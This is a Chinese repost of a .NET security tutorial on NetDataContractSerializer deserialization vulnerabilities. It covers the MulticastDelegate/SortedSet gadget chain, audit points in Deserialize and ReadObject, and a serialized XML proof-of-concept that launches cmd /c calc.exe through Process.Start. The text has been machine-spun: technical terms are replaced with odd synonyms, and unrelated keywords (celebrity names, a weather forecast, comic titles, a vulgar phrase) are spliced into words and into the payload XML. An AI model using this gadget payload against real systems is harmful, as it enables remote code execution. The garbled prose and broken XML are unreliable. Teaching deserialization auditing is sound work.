您当前的位置:网站首页>李小牧,.NET高档代码审计(第七课) NetDataContractSerializer反序列化缝隙,嘉祥天气预报

李小牧,.NET高档代码审计(第七课) NetDataContractSerializer反序列化缝隙,嘉祥天气预报

2019-04-14 14:26:52 投稿作者:admin 围观人数:342 评论人数:0次

一、前语

NetDataContractSerializer和DataCborrowontractSerializer相同用于序列化和反序列化Windows Communication Foundation (WCF) 音讯中发送的数据。两者之间存在一个重要差异:Ne新闻联播主持人tDataContractSerializer 包括了CLR,经过CLR类型增加额定信息并保存引证来支撑类型准确,而DataContractSerializer 则不包括。 因而,只要在序列化和反序列化端运用相同的 CLR 类型时,才干运用 NetDataContractSerializer。若要序列化目标运用 WriteObject或许Serialize办法, 若要反序列化 XML流运用 ReadObject或许Deserialize办法。在某些场景下读取了歹意的XML流就会形成反序列化缝隙李小牧,.NET高级代码审计(第七课) NetDataContractSerializer反序列化缝隙,嘉祥天气预报,然后完成长途RCE进犯,本文笔者从原理和代码审计的视角做了相关介绍和复现。

前文回忆: 二、 NetDataContractSerializer序列化

运用WriteObject或许Serialize能够十分便利的完成.NET目标与XML数据之间的转化,留意NetDataContractSerializer包括了程序集的姓名和被序列化类型的类型。这些额定信息能够用来将XML反序列化成特别类型,答应相同类型能够在客户端和效劳端一起运用。别的的信息是z:Id特点在不同的元素上含义是不同的。这个用来处理引证类型以及当XML被反序列化时是否引证能够保存,最终的结论是这个输出比较DataContractSerializer的输出包括了更多信息。下面经过一个实例来阐明问题,首要界说TestClass目标

TestClass目标界说了三个成员,并完成了一个静态办法ClassMethod发动进程。序列化经过创美人漫画凶恶大全建目标实例分别给成员赋值

笔者运用Serialize得到序列化TestClass类后的xml数据

18360Ivan1ee 三、NetDataContractSerializer反序列 3.1 反序列化原理和用法

NetDataContractSeria相片康复lizer类反序列进程是将XML流通换为目标,经过创立一个新目标的办法调用ReadObject多个重载办法或Serialize办法完成的,检查界说得知承继自XmlObjectSerializer抽象类、IFormatter接口,

NetDataContractSer云冈石窟ializer类完成了XmlObjectSerializer抽象类中的WriteObject、ReadObject办法,也完成了IFormatter中界说的办法。笔者经过创立新目标的办法调用Deserialize办法完成的详细完成代码可参阅以下

其实在Deserialize办法内也是调用了ReadObject办法反序列化的

反序列化进程中运用ReadObject办法调用了ReadObjectHandleExceptions办法,省掉一些非中心代码,进入I苦咖啡nternalReadObject办法体内反序列化后得到目标的特点,打印输出成员Name的值。

3.2 进犯向量—MulticastDelegate青山知可子

多路播送托付(MulticastDelegate)承继自 Delegate,其调用列表中能够具有多个元素的托付,实际上招行一切托付类型都派生自MulticastDelegate。Multi李小牧,.NET高级代码审计(第七课) NetDataContractSerializer反序列化缝隙,嘉祥天气预报castDelegate类的_invocationList字段在结构托付链时会引证托付数组,但为了获得对托付链更多的操控就得运用GetInvocationList办法,它是具有一个带有链接的托付列表,在对托付实例进行调用的时分,将按列表中的托付次序进行同步调用,那么如何将calc.exe增加到GetInvocationList列表办法?首要先看Comparison类,它用于坐落指令空间System.Collection李小牧,.NET高级代码审计(第七课) NetDataContractSerializer反序列化缝隙,嘉祥天气预报s.Generic,界说如下

Comparison类回来托付,再运用Delegate或许MulticastDelegate类的公共静态办法Combine将托付增加到链中作为Comparison的类型比较器

运用Comparer的静态办法Create创立比较器,比较器目标在.NET调集类中运用李小牧,.NET高级代码审计(第七课) NetDataContractSerializer反序列化缝隙,嘉祥天气预报的频率较多,也具有了定制的反序列化功用,这儿挑选SortedSet类,在反序列化的时内部Comparer目标重构了调集的排序。

多路播送托付的调用列表GetInvocationList办法在内部结构并初始化一个数组,让它的每个元素都引证链中的一个托付,然后回来对该数组的引证,下面代码修改了私有字段_InvocationList并用泛型托付Func回来Process类。

最终传入进犯载荷后得到完好序列化后的poc,如下

四、代码审计 4.1 Deserialize

从代码审计的视点只需找到可控的Path途径就能够被反序列化,例如成也萧何败也萧何以下场景:

4.2 ReadObject

上面两种李时厚办法都是很常见的,需求要点重视。party

五、复盘

1. 代码中完成读取本地文件内容

2. 传递poc xml,弹出计算器网页回来200

1. 2<_comparison z:Id ="4" z:FactoryType ="a:DelegateSerializationHolder" z:Type="System.DelegateSerializati红楼之逆天尽情onHolder" z:Assembly ="0" xmlns= "http://schemas.dagavtacontract.org/2004/07/System.Collections.Generic" xmlns:a ="http://schemas.datacontract.org/2004/07/System" >mscorlib, Version=4.0.0.0,Culture=neutral, PublicKeyToken=b77a5c561934e089< a:delegateEntry i:nil="true" />Compare< a:targetTypeAssembly z:Ref ="6" i:nil ="true" />System.String< a:type z:Id = "10">System.Comparison`1[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]]< a:methodNa候me z:Id = "11" >Start< a:target i:nil = "true" />< a:ta小学生搞基rgetTypeAssembly z:Id = "洪荒之十二爪紫金神龙12" >System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089< a:targetT街拍真空ypeName z:Id = "13" >System.Diagnostics.Process< a:type z:Id = "14" >System.Func`3[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0,Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process,System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]]< method0 z:Id = "15" z:FactoryType = "b:MemberInfoSerializationHolder" z:Type = "System.Reflection.MemberInfoSerializationHolder" z:Assembly = "0"金田一少年事件簿 xmlns = "" xmlns:b = " http://schemas.datacontract.org/2004/07/System.Reflection" >< Name z:Ref = "11" i:nil = "true" />< AssemblyName z:Ref = "12" i:nil = "true" />< ClassName z:Ref = "13" i:nil = "true" />< Signature z:Id = "16" z:Type = "System.String" z:Assembly = "0" >System.Diagnostics.Process Start(System.String,System.String)&l李小牧,.NET高级代码审计(第七课) NetDataContractSerializer反序列化缝隙,嘉祥天气预报t; Signature2 z:Id = "17" z:Type = "System.String" z:Assembly = "0" >System.Diagnostics.ProcessStart(System.String, System.String)< MemberType z:Id = "18" z:Type = "System.Int32" z:Assembly = "0" >8< method1 z:Id = "19" z:FactoryType = "b:MemberInfoSerializationHolder" z:Type = "System.Reflection.MemberInfoSerializationHolder" z:Assembly = "0" xmlns = "" xmlns:b = " http://schemas.datacontract.org/2004/07/System.Reflection" >< Name z:Ref = "8" i:nil = "true" />< AssemblyName z:Ref = "6" i:nil = "true" />< ClassName z:Ref = "9" i:nil = "true" />< Signature z:Id = "20" z:Type = "Sys千眼菩提tem.String" z:Assembly = "0" >Int32 Compare(System.String, System.String)< Signature2 z:Id = "21" z:Type = "System.String" z:Assembly = "0" >Syst李小牧,.NET高级代码审计(第七课) NetDataContractSerializer反序列化缝隙,嘉祥天气预报em.Int32 Compare(System.String,System.String)< MemberType z:Id = "22" z:Type = "System.Int32" z:Assembly = "0" >8< GenericArguments i:nil = "true" />< Version z:Id = "23" z:Type = "System.Int32" z:Assembly = "0" xmlns = "" >2< Items z李小牧,.NET高级代码审计(第七课) NetDataContractSerializer反序列化缝隙,嘉祥天气预报:Id = "24" z:Type = "System.String[]" z:Assembly = "0" z:Size = "2" xmlns = "" >< string z:Id = "25" xmlns = " http://schemas.microsoft.com/2003/10/Serialization/Arrays" >/c calc.exe< string z:Id = "26" xmlns = " http://schemas.microsoft.com/2003/10/Serialization/Arrays" >cmd

最终附上动态效果图

六、总结

NetDataContractSerializer序列化功用输出的信息更多,由于功能等原因不及DataContractSerializer,所以在WCF开发顶用的场景并不太多,可是由于它无需传入类型解析器所以相对来说更简单触发反序列化缝隙。最终.NET反序列化系列课程笔者会同步到 、 ,后续笔者将连续推出高质量的.NET反序列化缝隙文章,欢迎大伙继续重视,沟通,更多的.NET安全和技巧可重视实验室大众号。

*本文作者:Ivan1ee@360云影实验室,转载请注明来自FreeBuf.COM

声明:该文观念仅代表作者自己,搜狐号系信息发布渠道,搜狐仅供给信息存储空间效劳。
the end
文峰区新闻报道,有趣有料的生活和时政新闻